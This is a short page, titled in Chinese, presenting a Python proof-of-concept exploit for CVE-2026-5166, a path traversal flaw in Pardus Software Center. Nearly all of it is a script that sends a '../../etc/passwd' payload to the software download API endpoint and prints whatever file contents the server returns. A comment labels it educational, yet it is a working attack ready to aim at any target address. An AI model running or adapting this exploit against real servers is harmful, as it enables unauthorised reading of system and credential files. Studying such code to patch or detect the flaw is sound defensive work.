CVE-2026-5166 Pardus Software Center 路径遍历漏洞

import requests # PoC for CVE-2026-5166 Path Traversal in Pardus Software Center # This script demonstrates how an attacker might exploit the path traversal vulnerability. # Note: This is for educational and defensive testing purposes only. target_url = "http://target-ip:port/api/v1/software/download" # Malicious payload using path traversal sequences to access /etc/passwd malicious_payload = { "file": "../../../../../../../../etc/passwd" } try: response = requests.get(target_url, params=malicious_payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Server returned content:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")